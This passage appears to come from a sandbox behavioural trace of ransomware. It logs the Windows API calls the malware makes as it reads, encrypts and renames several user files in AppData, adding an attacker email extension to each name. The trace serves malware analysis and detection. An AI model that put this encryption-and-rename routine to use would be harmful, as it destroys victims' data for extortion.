"c:\\users\\fd1hvy\\appdata\\roaming\\xgxb528kmusf1-ux_rs.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.699] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=97893) returned 1 [0117.699] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e65) returned 0x2e41f30 [0117.700] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e65) returned 0x2e59da0 [0117.701] ReadFile (in: hFile=0x6a8, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x17e65, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x17e65, lpOverlapped=0x0) returned 1 [0117.705] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-97893, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.705] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e59da0*, nNumberOfBytesToWrite=0x17e65, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e59da0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x17e65, lpOverlapped=0x0) returned 1 [0117.706] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0117.706] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e59da0 | out: hHeap=0x520000) returned 1 [0117.707] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x17e65 [0117.708] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.708] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.709] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.709] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.709] CloseHandle (hObject=0x6a8) returned 1 [0117.709] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0117.709] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0117.709] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\xGXb528kMUsF1-UX_rs.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\xgxb528kmusf1-ux_rs.png"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\xGXb528kMUsF1-UX_rs.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\xgxb528kmusf1-ux_rs.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.711] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0117.711] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0117.711] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567760 | out: hHeap=0x520000) returned 1 [0117.711] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0117.711] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5298 [0117.711] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0117.711] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0117.712] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0117.712] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Wswb-158BPkxDz7ZA.m4a", dwFileAttributes=0x80) returned 1 [0117.712] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0117.712] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0117.712] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567760 | out: hHeap=0x520000) returned 1 [0117.712] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Wswb-158BPkxDz7ZA.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\wswb-158bpkxdz7za.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.713] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8097) returned 1 [0117.713] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1fa1) returned 0x609bd8 [0117.713] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1fa1) returned 0x60bb88 [0117.713] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x1fa1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1fa1, lpOverlapped=0x0) returned 1 [0117.714] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-8097, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.714] WriteFile (in: hFile=0x6a8, lpBuffer=0x60bb88*, nNumberOfBytesToWrite=0x1fa1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60bb88*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1fa1, lpOverlapped=0x0) returned 1 [0117.714] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.714] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bb88 | out: hHeap=0x520000) returned 1 [0117.714] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1fa1 [0117.714] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.714] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.715] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.715] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.715] CloseHandle (hObject=0x6a8) returned 1 [0117.715] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0117.715] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0117.715] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Wswb-158BPkxDz7ZA.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\wswb-158bpkxdz7za.m4a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Wswb-158BPkxDz7ZA.m4a.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\wswb-158bpkxdz7za.m4a.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.718] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0117.718] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0117.718] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5676e8 | out: hHeap=0x520000) returned 1 [0117.718] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e8488 [0117.718] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0117.718] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0117.718] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0117.718] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0117.718] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\VUgIW-P3N88.gif", dwFileAttributes=0x80) returned 1 [0117.719] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e7c68 [0117.719] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41960 [0117.719] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7c68 | out: hHeap=0x520000) returned 1 [0117.719] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\VUgIW-P3N88.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\vugiw-p3n88.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.719] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=98837) returned 1 [0117.719] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18215) returned 0x2e41f30 [0117.720] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18215) returned 0x2e5a150 [0117.720] ReadFile (in: hFile=0x6a8, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x18215, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x18215, lpOverlapped=0x0) returned 1 [0117.725] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-98837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.725] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e5a150*, nNumberOfBytesToWrite=0x18215, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e5a150*, lpNumberOfBytesWritten=0x2e1f9bc*=0x18215, lpOverlapped=0x0) returned 1 [0117.725] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0117.725] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e5a150 | out: hHeap=0x520000) returned 1 [0117.727] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x18215 [0117.727] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.727] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.728] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.729] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.729] CloseHandle (hObject=0x6a8) returned 1 [0117.729] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0117.729] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0117.729] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\VUgIW-P3N88.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\vugiw-p3n88.gif"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\VUgIW-P3N88.gif.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\vugiw-p3n88.gif.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.731] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41960 | out: hHeap=0x520000) returned 1 [0117.731] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8488 | out: hHeap=0x520000) returned 1 [0117.731] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e82e8 | out: hHeap=0x520000) returned 1 [0117.731] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e83b8 [0117.731] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5298 [0117.731] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0117.731] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0117.731] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0117.731] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\VnSUE9RNa.doc", dwFileAttributes=0x80) returned 1 [0117.731] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e78c0 [0117.731] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e417f0 [0117.732] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e78c0 | out: hHeap=0x520000) returned 1 [0117.732] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\VnSUE9RNa.doc" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\vnsue9rna.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.732] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=21727) returned 1 [0117.732] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x54df) returned 0x609bd8 [0117.732] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x54df) returned 0x60f0c0 [0117.732] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x54df, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x54df, lpOverlapped=0x0) returned 1 [0117.733] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-21727, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.734] WriteFile (in: hFile=0x6a8, lpBuffer=0x60f0c0*, nNumberOfBytesToWrite=0x54df, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60f0c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x54df, lpOverlapped=0x0) returned 1 [0117.734] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.734] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60f0c0 | out: hHeap=0x520000) returned 1 [0117.734] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x54df [0117.734] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.734] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.734] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.734] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.735] CloseHandle (hObject=0x6a8) returned 1 [0117.735] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0117.735] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.735] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\VnSUE9RNa.doc" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\vnsue9rna.doc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\VnSUE9RNa.doc.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\vnsue9rna.doc.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.747] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e417f0 | out: hHeap=0x520000) returned 1 [0117.747] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e83b8 | out: hHeap=0x520000) returned 1 [0117.747] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7cd0 | out: hHeap=0x520000) returned 1 [0117.747] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e8488 [0117.747] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.747] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0117.747] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.747] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0117.747] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\tFvxMQgEB.doc", dwFileAttributes=0x80) returned 1 [0117.748] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e8078 [0117.748] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41230 [0117.748] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8078 | out: hHeap=0x520000) returned 1 [0117.748] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\tFvxMQgEB.doc" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\tfvxmqgeb.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.748] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=92193) returned 1 [0117.748] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16821) returned 0x2e41f30 [0117.749] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16821) returned 0x2e58760 [0117.749] ReadFile (in: hFile=0x6a8, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x16821, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x16821, lpOverlapped=0x0) returned 1 [0117.753] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-92193, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.753] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e58760*, nNumberOfBytesToWrite=0x16821, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e58760*, lpNumberOfBytesWritten=0x2e1f9bc*=0x16821, lpOverlapped=0x0) returned 1 [0117.754] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0117.754] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e58760 | out: hHeap=0x520000) returned 1 [0117.756] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x16821 [0117.756] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.756] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.757] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.757] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.757] CloseHandle (hObject=0x6a8) returned 1 [0117.757] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.757] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0117.757] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\tFvxMQgEB.doc" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\tfvxmqgeb.doc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\tFvxMQgEB.doc.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\tfvxmqgeb.doc.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.759] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41230 | out: hHeap=0x520000) returned 1 [0117.759] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8488 | out: hHeap=0x520000) returned 1 [0117.759] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7f40 | out: hHeap=0x520000) returned 1 [0117.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e78c0 [0117.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5298 [0117.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0117.759] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0117.760] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0117.760] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\tbYLfhp-ipjFW.wav", dwFileAttributes=0x80) returned 1 [0117.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e7990 [0117.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0117.760] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7990 | out: hHeap=0x520000) returned 1 [0117.760] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\tbYLfhp-ipjFW.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\tbylfhp-ipjfw.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0117.760] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=45726) returned 1 [0117.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb29e) returned 0x609bd8 [0117.761] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb29e) returned 0x2e41f30 [0117.761] ReadFile (in: hFile=0x6a8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0xb29e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0xb29e, lpOverlapped=0x0) returned 1 [0117.764] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-45726, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.764] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0xb29e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb29e, lpOverlapped=0x0) returned 1 [0117.764] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0117.764] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0117.764] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, 